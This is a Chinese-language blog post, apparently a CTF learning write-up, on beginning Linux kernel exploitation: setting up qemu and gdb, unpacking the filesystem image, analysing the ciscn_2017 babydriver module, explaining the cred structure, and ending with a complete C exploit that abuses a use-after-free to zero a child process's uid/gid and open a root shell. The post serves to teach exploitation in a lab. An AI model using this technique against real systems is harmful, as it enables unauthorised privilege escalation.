初探内核（一）

貌似两个月没更新博客了，因为这两个月我都在 nssctf 刷题，目前的进度是 207/377 ，但是由于 nssctf 糟糕的 libc 环境和我不想在 glibc 沉沦了，所以打算学点新东西。

初探内核

学习过程主要参考的是这位师傅的博客，感谢这位师傅；前三题的题目链接

环境搭建

ubuntu20

需提前开启虚拟化功能

gdb 我用到是 pwndgb
qemu

sudo apt install qemu-kvm

ropper 搜索 gadget 比 ROPgadget 快
vmlinux_to_elf 脚本，感谢的 peiwithhao 师傅的帮助
un-cpio

#!/bin/bash
me=${0##*/}
if    [ $# -ne 1  ]
then
    echo "Usage: $me <rootfs-cpio>" >&2
    echo "Notice: please use this script in a empty dir where the file system will be decompressed" >&2
    exit 2
fi
wholepath="`pwd`/$1"
path=$(dirname $wholepath)
file=$(basename $wholepath)
cd $path
mv $file "${file}.gz"
gunzip "${file}.gz"
cpio -idm < $file
rm $file

gen-cpio 压缩镜像脚本

#!/bin/bash
me=${0##*/}
if    [ $# -ne 1  ]
then
    echo "Usage: $me <output-cpio>" >&2
    exit 2
fi

find . -print0 |cpio --null -o --format=newc |gzip -9 > $1
mv $1 ../

kernel uaf

kernel uaf 以 ciscn_2017-babydriver 为例

打开后删除其它不需要的文件，剩下以下三个

boot.sh 是用来启动 qemu 的

rootfs.cpio 是文件系统映像

bzImage 是压缩的内核映像

先修改 boot.sh ，增加 -s 参数，方便调试

接着利用 un-cpio 脚本来解压 rootfs.cpio

先对 init 进行分析

将 flag 修改成非 root 不可读，然后利用 insmod 挂载 babydrive.ko 模块

程序分析

将 babydirver.ko 放入 IDA 分析

最后两个函数是驱动的初始化函数和退出自动调用的函数，其它是可调用函数

babydrive_init

bdbydrive_exit

babyopen

申请一块 0x40 大小的内存，指针放入 babydev_struct 结构体

babyread

同理 babywrite将数据从用户空间传送到内核空间

babyioctl

实现了更改申请内存的大小

babyrelease

这里存在漏洞点

GBD调试

首先在 core 目录下创建一个 test.c

#include <fcntl.h>
#include <sys/ioctl.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/wait.h>
#include <unistd.h>
int main(){
    int fd = open("/dev/babydev", 2);
    char a[8] = "hello";
    write(fd, a, 5);
    close(fd);
}

然后静态编译

gcc test.c -static -o test

调试前我们要先获得模块具体的加载地址

修改 init 文件中的权限，令我们的登录权限为 root

然后将当前 core 目录下的所有文件打包成 rootfs.cpio

执行 boot.sh ，启动 qemu

cat sys/module/babydriver/sections/.text

查看模块具体的加载地址

退出后执行

gdb bzImage

调用 gdb 后，添加驱动的符号信息

add-symbol-file ./core/lib/modules/4.4.72/babydriver.ko 0xffffffffc0000000

然后将其断点打到 babywrite

接着输入

target remote:1234

来远程调试，并令其一个终端运行 boot.sh

接着在 gdb 调试界面按 c 就会跑到命令运行界面

接着运行 test ，就会跑到断点了

我这里失败了几次，查看断点发现断点有问题？再打下断点就可以了

从寄存器中可以看到 write 函数所用的信息

cred 结构体

如果要提权的话，我们需要先了解 cred 结构体，对于 Linux 下的每一个进程，在 kernel 中都有着一个结构体 cred 用以标识其权限，该结构体定义于内核源码，有一点要注意，每个linux内核版本对应的cred大小都不一样

内核中主要有三个用户：uid（实际用户）、euid（有效用户）、suid（保存用户），可通过setuid、seteuid、setreuid系统调用实现用户切换

struct cred {
    atomic_t    usage;
    atomic_t    subscribers;    /* number of processes subscribed */
    void        *put_addr;
    unsigned    magic;
    kuid_t        uid;        /* 实际用户id */
    kgid_t        gid;        /* 实际用户组id */
    kuid_t        suid;        /* 保存的用户uid */
    kgid_t        sgid;        /* 保存的用户组gid */
    kuid_t        euid;        /* 真正有效的用户id */
    kgid_t        egid;        /* 真正有效的用户组id */
    kuid_t        fsuid;        
    kgid_t        fsgid;        
    unsigned    securebits;    /* 安全管理标识；用来控制凭证的操作与继承 */
    kernel_cap_t    cap_inheritable; /* execve时可以继承的权限 */
    kernel_cap_t    cap_permitted;    /* 可以(通过capset)赋予cap_effective的权限 */
    kernel_cap_t    cap_effective;    /* 进程实际使用的权限 */
    kernel_cap_t    cap_bset;    /* capability bounding set */
    kernel_cap_t    cap_ambient;    /* Ambient capability set */
  //。。。。。。
    };
} __randomize_layout;

那么我们在内核创建一个新的进程时，改变进程的 cred 结构体的 uid 和 gid 都为 0 也就完成了提权

exp 编写

那么对于这道题，我们可以先 open 两次，修改 fd1 的内存大小与 cred 结构体相同，然后在 close(fd1) 即 free，再 foke 一个子进程，该子进程就会利用先前 free 的内存来存放 cred 结构体，而此时的 fd2 也刚好指向 cred 结构体，通过 fd2 来修改 cred 结构体的 uid 和 gid 数据，就能够实施提权攻击。

exp

#include <fcntl.h>
#include <sys/ioctl.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <sys/wait.h>
#include <unistd.h>
int main(){
    int fd1 = open("/dev/babydev", 2);
    int fd2 = open("/dev/babydev", 2);
    ioctl(fd1, 0x10001, 0xa8);
    close(fd1);
    
    if(!fork()){
        char mem[28];
    memset(mem, '\x00', sizeof(mem));
    write(fd2, mem, sizeof(mem));
    puts("[+]root---");
    system("/bin/sh");
    }else{
        wait(NULL);
    }
    close(fd2);
}